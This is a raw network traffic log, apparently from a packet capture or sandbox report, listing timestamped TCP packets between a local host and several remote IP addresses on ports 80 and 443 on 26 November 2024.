Nov 26, 2024 16:31:17.008774996 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.008780003 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.008781910 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.008797884 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.008812904 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.008819103 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.008833885 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.008886099 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.008886099 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.045388937 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.045432091 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.045506954 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.045526981 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.045543909 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.045569897 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.045572996 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.045572996 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.045588017 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.045635939 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.045655012 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.045675993 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.045706987 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.045706987 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.045718908 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.045731068 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.045753002 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.045762062 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.045802116 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.045809031 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.045835018 CET	443	49729	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:17.045855045 CET	443	49729	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:17.045859098 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.045859098 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.045867920 CET	443	49729	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:17.045870066 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.045885086 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.045931101 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.045965910 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.045974016 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.045979977 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.046010971 CET	49729	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:17.046022892 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.046022892 CET	443	49729	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:17.046030998 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.046036959 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.046056032 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.046066046 CET	49729	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:17.046114922 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.046118975 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.050146103 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.129544973 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.129581928 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.129616976 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.129631996 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.129694939 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.136843920 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.136857033 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.139049053 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:17.139132023 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.139163971 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:17.139172077 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.139218092 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.139230013 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.139271975 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.139276028 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.139276028 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.139287949 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.139307976 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.139322996 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.139355898 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.139363050 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.139416933 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.139434099 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.139493942 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.139493942 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.139502048 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.139518976 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.139543056 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.139559984 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.139565945 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.139589071 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:17.139611959 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.139614105 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.139642000 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.139653921 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:17.139658928 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.139664888 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.139688969 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.139715910 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.139730930 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.139735937 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.139791012 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.139815092 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.139827967 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.139858961 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.171924114 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.171957970 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.216368914 CET	443	49729	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:17.216401100 CET	443	49729	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:17.216490030 CET	49729	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:17.216514111 CET	443	49729	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:17.218034029 CET	49729	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:17.325500011 CET	443	49729	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:17.325516939 CET	443	49729	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:17.325604916 CET	49729	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:17.325614929 CET	443	49729	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:17.325658083 CET	49729	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:17.426266909 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:17.502052069 CET	443	49704	173.222.162.64	192.168.2.6
Nov 26, 2024 16:31:17.502173901 CET	49704	443	192.168.2.6	173.222.162.64
Nov 26, 2024 16:31:17.502234936 CET	443	49729	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:17.502253056 CET	443	49729	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:17.502332926 CET	49729	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:17.502346992 CET	443	49729	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:17.502437115 CET	443	49729	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:17.502455950 CET	443	49729	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:17.502489090 CET	49729	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:17.502494097 CET	443	49729	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:17.502518892 CET	49729	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:17.502543926 CET	49729	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:17.573910952 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.573952913 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.574058056 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.574315071 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.574330091 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.617683887 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:17.695569992 CET	443	49729	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:17.695591927 CET	443	49729	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:17.695643902 CET	49729	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:17.695660114 CET	443	49729	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:17.695691109 CET	49729	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:17.695712090 CET	49729	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:18.051107883 CET	443	49729	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:18.051134109 CET	443	49729	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:18.051211119 CET	49729	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:18.051233053 CET	443	49729	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:18.051246881 CET	443	49729	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:18.051274061 CET	49729	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:18.051279068 CET	443	49729	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:18.051307917 CET	49729	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:18.051343918 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.051347017 CET	49729	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:18.051356077 CET	443	49729	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:18.051356077 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.051366091 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.051382065 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.051394939 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.051399946 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.051409960 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.051417112 CET	443	49729	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:18.051440001 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.051464081 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.051476002 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.051481962 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.051489115 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.051490068 CET	49729	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:18.051501036 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.051511049 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.051512003 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.051522970 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.051532984 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.051636934 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.052216053 CET	49729	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:18.052227974 CET	443	49729	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:18.052885056 CET	443	49730	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:18.052962065 CET	49730	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:18.054538012 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:18.054600000 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:18.055927038 CET	49730	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:18.055943012 CET	443	49730	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:18.056096077 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:18.056108952 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:18.056165934 CET	443	49730	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:18.056214094 CET	49730	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:18.057610989 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:18.057615995 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:18.057832956 CET	49730	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:18.058219910 CET	49730	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:18.058226109 CET	443	49730	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:18.070849895 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.070940971 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.085978985 CET	49735	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:18.086016893 CET	443	49735	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:18.086086988 CET	49735	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:18.087011099 CET	49736	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:18.087033987 CET	443	49736	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:18.087084055 CET	49736	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:18.089930058 CET	49737	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:18.089978933 CET	443	49737	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:18.090063095 CET	49737	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:18.091238022 CET	49738	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:18.091245890 CET	443	49738	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:18.091308117 CET	49738	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:18.091516972 CET	49735	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:18.091530085 CET	443	49735	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:18.091609955 CET	49738	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:18.091622114 CET	443	49738	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:18.091950893 CET	49736	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:18.091964006 CET	443	49736	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:18.093657970 CET	49739	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:18.093674898 CET	443	49739	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:18.093748093 CET	49739	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:18.093982935 CET	49739	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:18.094002962 CET	443	49739	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:18.094240904 CET	49737	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:18.094255924 CET	443	49737	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:18.236166954 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.236181974 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.236191988 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.236202002 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.236212015 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.236222029 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.236229897 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.236231089 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.236243010 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.236259937 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.236262083 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.236303091 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.236314058 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.236326933 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.236342907 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.236356974 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.236367941 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.236377954 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.236388922 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.236391068 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.236402035 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.236413956 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.236419916 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.236428976 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.236439943 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.236444950 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.236452103 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.236457109 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.236493111 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.236493111 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.394115925 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.394179106 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.394182920 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.394191980 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.394212961 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.394222021 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.394229889 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.394232988 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.394254923 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.394254923 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.394300938 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.394321918 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.394349098 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.394359112 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.394370079 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.394381046 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.394383907 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.394421101 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.394421101 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.394438028 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.394450903 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.394469976 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.394481897 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.394500971 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.394500971 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.394584894 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.394850016 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.394902945 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.395181894 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.395231962 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.441781998 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.441797018 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.441808939 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.441893101 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.441893101 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.442909956 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:18.442981005 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:18.443486929 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.443499088 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.443561077 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.443561077 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.444533110 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:18.444551945 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:18.444901943 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:18.444932938 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:18.458748102 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.458762884 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.458828926 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.458828926 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.480326891 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.480345011 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.480411053 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.480411053 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.481077909 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.481091976 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.481102943 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.481148958 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.481148958 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.482476950 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.482489109 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.482548952 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.495373964 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.495387077 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.495424032 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.495459080 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.495948076 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.495959997 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.495982885 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.496016979 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.497538090 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.497551918 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.497582912 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.497617006 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.518815994 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.518871069 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.519581079 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.519660950 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.522198915 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.522252083 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.522900105 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.522960901 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.527100086 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.527403116 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.527416945 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.527443886 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.532928944 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.532995939 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.533201933 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.533253908 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.539457083 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.539526939 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.540339947 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.540412903 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.545427084 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.545496941 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.545526028 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.545582056 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.551870108 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.551950932 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.552123070 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.552194118 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.556507111 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.556641102 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.556839943 CET	80	49720	185.215.113.206	192.168.2.6
